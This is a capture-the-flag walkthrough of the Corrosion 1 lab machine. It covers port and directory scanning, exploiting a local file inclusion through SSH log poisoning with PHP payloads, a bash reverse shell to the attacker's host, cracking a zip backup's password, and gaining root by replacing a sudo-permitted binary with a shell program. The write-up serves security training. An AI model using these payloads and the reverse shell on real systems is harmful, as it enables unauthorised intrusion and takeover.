Corrosion 1
Walkthrough of the Corrosion 1 machine from the Corrosion series
Corrosion 1 is the first VM of 2-box Corrosion VM series.
Port scanning
The first thing we will try to do is to detect which ports are open on the target machine. To do this we launch a scan with nmap
against the entire port range (-p-
) using the fastest timing template (-T5
), filtering for open ports (--open
), and disabling DNS resolution (-n
) and host discovery (-Pn
).
nmap -p- -T5 --open -Pn -n 10.0.0.100
Result:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 09:51 CET Nmap scan report for 10.0.0.100 Host is up (0.0065s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 4.83 seconds
From this first scan we obtain that we have the following ports open: 22 (SSH) and 80 (HTTP). Knowing that these ports are open, the next thing we are going to do is to try to detect which services are being exposed through these ports and their versions (-sCV
):
nmap -p22,80 -sCV 10.0.0.100
Result:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-25 09:57 CET Nmap scan report for wordpress.aragog.hogwarts (10.0.0.100) Host is up (0.0032s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 0ca71c8b4e856b168cfdb7cd5f603ea4 (RSA) | 256 0f24f465af50d3d3aa0933c3173d63c7 (ECDSA) |_ 256 b0facd7773dae47dc875a1c55f2c210a (ED25519) 80/tcp open http Apache httpd 2.4.46 ((Ubuntu)) |_http-server-header: Apache/2.4.46 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.98 seconds
From the result of the detailed scan we get the following:
22/TCP
: SSH - OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)80/TCP
: HTTP - Apache httpd 2.4.46 ((Ubuntu))
HTTP service analysis (80/TCP)
As the port scan indicates that port 80 is open with an exposed HTTP service, the first thing we can do is to see what is being exposed on that service. To do this we enter the IP of the target machine in our browser. After doing so, we observe that the only thing that is displayed is the default Apache installation page, so we will have to look for more exposed resources by using a brute force attack.
To perform this attack we will use Gobuster indicating that we want to list directories (dir
) against the IP of the target machine (-u
), using some additional extensions (-x
), and using a directory listing oriented dictionary (-w
):
gobuster dir -u http://10.0.0.100 -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Result:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.100 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/02/25 10:13:58 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 10918] /tasks (Status: 301) [Size: 308] [--> http://10.0.0.100/tasks/] /blog-post (Status: 301) [Size: 312] [--> http://10.0.0.100/blog-post/] /server-status (Status: 403) [Size: 275] =============================================================== 2023/02/25 10:18:28 Finished ===============================================================
From the result we get that there are 3 more routes that can be of interest:
- /tasks: which redirects us to /tasks/
- /blog-post: which redirects us to /blog-post/
- /server-status: which we cannot access because it gives us a 403 Forbidden error.
The /tasks/ directory
After accessing the discovered URL the first thing we see is that we have directory listing capability and that there is a note called task_todo.txt
. If we open that note we see the following:
# Tasks that need to be completed 1. Change permissions for auth log 2. Change port 22 -> 7672 3. Set up phpMyAdmin
The task list tells us that they have to change the permissions of the authentication log, so it is possible that it can be accessed through a LFI (local file inclusion). On the other hand, it indicates that they want to change the SSH port, although it seems that it is not done yet, and configure phpMyAdmin.
As we have directory listing capability in this path, we know that we don't have any more accessible resources, so let's try to see what we can find in the /blog-post/ path.
The /blog-post/ directory
The next thing we are going to do is to access http://10.0.0.100/blog-post/ in our browser. That is the second path that we had discovered using Gobuster. When accessing we see the following content:
<!DOCTYPE html> <html> <head></head> <body> <h1>Welcome to my Blog!</h1> <p> This website is in development. Will be updated in the next couple Months! - randy </p> <img src="image.jpg" /> </body> </html>
As we can see, we can't get any relevant information from the content of the web page . If we try to see if any information has been hidden in the image using steganography we won't find anything either, so the next thing we can do is to try to discover more resources that are inside /blog-post/. To do this we use Gobuster again:
gobuster dir -u http://10.0.0.100/blog-post/ -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Result:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.0.0.100/blog-post/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/02/25 11:01:35 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 190] /archives (Status: 301) [Size: 321] [--> http://10.0.0.100/blog-post/archives/] /uploads (Status: 301) [Size: 320] [--> http://10.0.0.100/blog-post/uploads/] =============================================================== 2023/02/25 11:06:42 Finished ===============================================================
Gobuster reveals that there are two additional directories that may be of interest:
- /blog-post/archives: which redirects to /blog-post/archives/
- /blog-post/uploads: which redirects to /blog-post/uploads/
The /blog-post/archives/ directory
When accessing this directory through the browser we see that we again have directory listing capability. In that directory we find the file randylogs.php
which, when we open it, does not return any information. The fact that it does not return anything makes us think that maybe that PHP program needs some parameter to work.
To find out what parameter it needs we are going to use UFuzz. To obtain the expected result we hide all the results that its length is 0 (--hl
), we provide a dictionary (-w
), and we indicate with the FUZZ
tag where we want to replace the words of the dictionary in the url. As the task_todo.txt
file indicated us that they had to change the permissions of the auth log file, we are going to try to see if we have access to it:
wfuzz --hl 0 -w /usr/share/seclists/Discovery/Web-Content/common.txt http://10.0.0.100/blog-post/archives/randylogs.php?FUZZ=/var/log/auth.log
Result:
******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://10.0.0.100/blog-post/archives/randylogs.php?FUZZ=/var/log/auth.log Total requests: 4711 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001783: 200 340 L 4147 W 33640 Ch "file" Total time: 0 Processed Requests: 4711 Filtered Requests: 4710 Requests/sec.: 0
The result of UFuzz tells us that if we use the "file" parameter the request returns some content, so now we can go to /blog-post/archives/randylogs.php?file=/var/log/auth.log
and see what the server is returning. We can check that we can see the log file so a LFI (local file inclusion) is happening.
In case that log file is being interpreted by PHP and given that the username is registered when trying to authenticate via SSH, we could try to inject code in PHP as username to convert the LFI (local file inclusion) into a RCE (remote code execution). This technique is known as log poisoning.
Log poisoning
The first thing we are going to check is if we really have the capacity to write in the /var/log/auth.log
file of the target machine by using the SSH user field. To do this we try to connect via SSH by putting a username that we will later look for in the log, and failing the password so that it is registered:
ssh write_test@10.0.0.100 write_test@10.0.0.100's password: Permission denied, please try again.
And now we try to see if we have the text "write_test" in the log:
curl -s http://10.0.0.100/blog-post/archives/randylogs.php?file=/var/log/auth.log | grep write_test
Result:
Feb 26 01:26:05 corrosion sshd[2945]: Invalid user write_test from 10.0.0.102 port 59834 Feb 26 01:26:06 corrosion sshd[2945]: Failed none for invalid user write_test from 10.0.0.102 port 59834 ssh2 Feb 26 01:26:07 corrosion sshd[2945]: Connection closed by invalid user write_test 10.0.0.102 port 59834 [preauth]
Effectively, we have the ability to write to the log. Now we are going to put a small script in PHP to see if it executes it. Let's try to see from which directory the command is executed using pwd
:
ssh '<?php system('pwd'); ?>'@10.0.0.100 <?php system(pwd); ?>@10.0.0.100's password: Permission denied, please try again
And now we check what we have in the log:
curl -s http://10.0.0.100/blog-post/archives/randylogs.php?file=/var/log/auth.log | tail
Result:
Feb 26 01:32:01 corrosion CRON[2999]: pam_unix(cron:session): session opened for user root by (uid=0) Feb 26 01:32:01 corrosion CRON[2999]: pam_unix(cron:session): session closed for user root Feb 26 01:32:48 corrosion sshd[3006]: Invalid user /var/www/html/blog-post/archives from 10.0.0.102 port 44582 Feb 26 01:32:50 corrosion sshd[3006]: Failed none for invalid user /var/www/html/blog-post/archives from 10.0.0.102 port 44582 ssh2 Feb 26 01:32:56 corrosion sshd[3006]: Connection closed by invalid user /var/www/html/blog-post/archives 10.0.0.102 port 44582 [preauth] Feb 26 01:33:01 corrosion CRON[3010]: pam_unix(cron:session): session opened for user root by (uid=0) Feb 26 01:33:01 corrosion CRON[3010]: pam_unix(cron:session): session closed for user root
In this way we verify that an RCE (remote command execution) is happening because we do not see the PHP tags but we see the result of the execution of the pwd
command, which would be /var/www/html/blog-post/archives
.
From here we have many possibilities to get a remote terminal on the target machine to be able to work more comfortably. For example, we can turn the log itself into a PHP shell using as SSH username <?php system($_GET['c']); ?>
:
ssh '<?php system($_GET['c']); ?>'@10.0.0.100 <?php system($_GET[c]); ?>@10.0.0.100's password: Permission denied, please try again.
Now that we can execute commands in the target machine, let's try to establish a reverse shell to our machine. To do so, we will start listening using Netcat:
nc -nlvp 8888
Receiving the message confirming that we are listening:
listening on [any] 8888 ...
Then, through the RCE that we have obtained through the log poisoning we execute a command to establish a connection to our Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.102/8888 0>&1'
). To do this we url encode the command and pass it through the c
parameter of the url http://10.0.0.100/blog-post/archives/randylogs.php?file=/var/log/auth.log&c=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.102/8888%200%3E%261%27
obtaining the following result:
listening on [any] 8888 ... connect to [10.0.0.102] from (UNKNOWN) [10.0.0.100] 39422 bash: cannot set terminal process group (743): Inappropriate ioctl for device bash: no job control in this shell www-data@corrosion:/var/www/html/blog-post/archives$
Now, in order to have a fully interactive shell, we launch a pseudo console with script /dev/null -c bash
, press Ctrl + z
and do a tty treatment with stty raw -echo; fg
. We do reset
to restart the terminal configuration, type xterm
as terminal type and export 2 environment variables:
export TERM=xterm
export SHELL=bash
With this we should be able to do Ctrl + c
to end the execution of a command, or Ctrl + l
to clear the terminal. We can also go back in the command history.
We check the user we are connected to with the whoami
command and it tells us that we are logged in as the www-data
user. If we check the /etc/passwd
file we can see that the machine has two additional users:
- root
- randy
User randy
If we look for the files that we have permissions as the user www-data
, we find that there is a file user_backup.zip
in the folder /var/backups
for which we have read permissions. When we try to unzip it we see that it asks for a password that we do not have, so we are going to try to take the file to our computer to try to discover the password by brute force.
To do this, we start a Python server on the target machine (python3 -m http.server 8000
) from the /var/backups
folder, and bring it to the attacking machine with wget
:
wget http://10.0.0.100:8000/user_backup.zip
Now that we have it downloaded locally, let's try to crack the password using John the Ripper. First we extract the hash with zip2john
:
zip2john user_backup.zip > hash.txt
We then use John the Ripper to perform a dictionary attack against the generated hash:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
As result it indicates us that the password of the compressed file user_backup.zip
is !randybaby
, so now we can unzip it using unzip
. After unzipping it we find 4 files:
- id_rsa: user's private key
- id_rsa.pub: user's public key
- my_password.txt: password of a user
- easysysinfo.c: C program that does a setuid(0) and a setgid(0)
If we test the password randylovesgoldfish1998
that we have obtained from the file my_password.txt
for the user randy
using SSH we verify that we gain access as that user.
We can also check that the keys of the compressed file are the same as those of the user and that there is an executable with the same name as the program in C inside the user /tools
folder.
If we list the contents of the home directory of the user randy
/home/randy
we find the first flag (user.txt
):98342721012390839081
.
Gaining root access
As we have already mentioned, the executable that we find in /home/randy/tools/
belongs to root and executes a series of commands. Although that executable looks like a potential way to gain privileges it is not possible, so we have to find another way.
The next thing we can do is to list the privileges of the user randy with sudo -l
. By doing this, it tells us that he can run as root the executable located in /home/randy/tools/easysysinfo
. Since it is in the randy's home folder we can try to rename it and create our own executable. To rename the executable we do:
mv easysysinfo easysysinfo.bak
After this, we have to create a C program that allows us to gain a bash as the user root, so we create the file root.c
with the following content:
#include <unistd.h> #include <stdlib.h> void main() { setuid(0); setgid(0); system("bash -i"); }
Then we compile it using gcc
:
gcc root.c -o easysysinfo
And we execute it with sudo
:
sudo ./easysysinfo
Result:
root@corrosion:/home/randy/tools#
Python alternative
This same process could be done using Python. To do this, after renaming the original executable, we create the file easysysinfo
with the following content:
#!/usr/bin/python3.9 import os; os.system("/bin/sh")
After this we give execution permissions and we execute it with sudo
:
chmod +x easysysinfo sudo ./easysysinfo
Result:
# whoami root
As we can see we already have access as the user root to the machine, so we can now look for the second flag.
If we list the contents of the home directory of the user root
/root
we find the second flag (root.txt
):FLAG: 4NJSA99SD7922197D7S90PLAWE ...
.